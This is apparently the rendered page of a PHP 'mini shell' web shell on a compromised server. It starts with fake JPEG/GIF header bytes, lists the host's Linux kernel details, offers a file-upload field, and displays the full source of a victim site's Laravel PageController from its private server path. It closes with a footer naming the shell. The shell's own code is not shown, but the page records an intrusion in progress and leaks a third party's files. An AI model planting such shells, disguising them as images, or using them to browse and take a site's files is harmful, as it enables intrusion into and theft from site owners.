ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/yapwebtv.com/app/Http/Controllers/Site/
Upload File :
Current File : /var/www/yapwebtv.com/app/Http/Controllers/Site/PageController.php

<?php

namespace App\Http\Controllers\Site;

use App\Http\Controllers\Controller;
use App\VisitorTracker;
use Illuminate\Http\Request;
use Modules\Gallery\Entities\Album;
use Modules\Gallery\Entities\GalleryImage;
use Modules\Gallery\Entities\ImageCategory;
use Modules\Social\Entities\SocialMedia;
use Modules\Page\Entities\Page;
use Validator;
use Modules\Contact\Entities\ContactMessage;

class PageController extends Controller
{
    public function page( $id )
    {
        try{
            $page               = Page::where('slug', $id)->first();
            $socialMedias       = SocialMedia::where('status', 1)->get();

            $tracker = new VisitorTracker();
            $tracker->page_type = \App\Enums\VisitorPageType::PageDetailPage;
            $tracker->slug = $id;
            $tracker->url = \Request::url();
            $tracker->source_url = \url()->previous();
            $tracker->ip = \Request()->ip();
            $tracker->date = date('Y-m-d');
            $tracker->agent_browser = UserAgentBrowser(\Request()->header('User-Agent'));
            $tracker->save();

            if($page->page_type == 1):
                return view('site.pages.default_page', compact('page'));
            else:
                return view('site.pages.contact_us', compact('page', 'socialMedias'));
            endif;


        }
        catch (\Exception $e){
            return view('site.pages.404');
        }
    }

    public function sendMessage( Request $request )
    {
        if( settingHelper('captcha_visibility') == 1):
        	$validator                  = Validator::make($request->all(), [
                'name'                  => 'required',
                'email'                 => 'required',
                'message'               => 'required',
                'g-recaptcha-response'  => 'required'
            ]);
        else:
            $validator                  = Validator::make($request->all(), [
                'name'                  => 'required',
                'email'                 => 'required',
                'message'               => 'required'
            ]);
        endif;

        if ($validator->fails()) :
            return redirect()->back()
                    ->withErrors($validator)
                    ->withInput();
        endif;

    	 $message                       = new ContactMessage();

    	 $message->name                 = $request->name;
    	 $message->email                = $request->email;
    	 $message->message              = $request->message;

    	 $message->save();

    	 return redirect()->back()->with('success', __('successfully_send'));
    }

    public function imageAlbums(){
        $albums = Album::all();
        return view('site.pages.albums', compact('albums'));
    }

    public function imageGallery($slug){
        $album      = Album::where('slug',$slug)->first();

        if ($album != ''):
            $albumImages    = GalleryImage::where('album_id',$album->id)->orderBy('id','desc')->get();
            $tabs           = $album->tabs;
//            dd($tabs);
            return view('site.pages.album_gallery',compact('albumImages','tabs','album'));
        else:
            return view('site.pages.404');
        endif;

    }

    public function feed(){
        $url = "https://www.nasa.gov/rss/dyn/lg_image_of_the_day.rss";

        $invalidurl = false;
        if(@simplexml_load_file($url)){
            $feeds = simplexml_load_file($url);
//            dd($feeds);
        }else{
            $invalidurl = true;
            return view('site.pages.404');
        }
        return view('site.pages.feed',compact('feeds','invalidurl'));
    }
}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST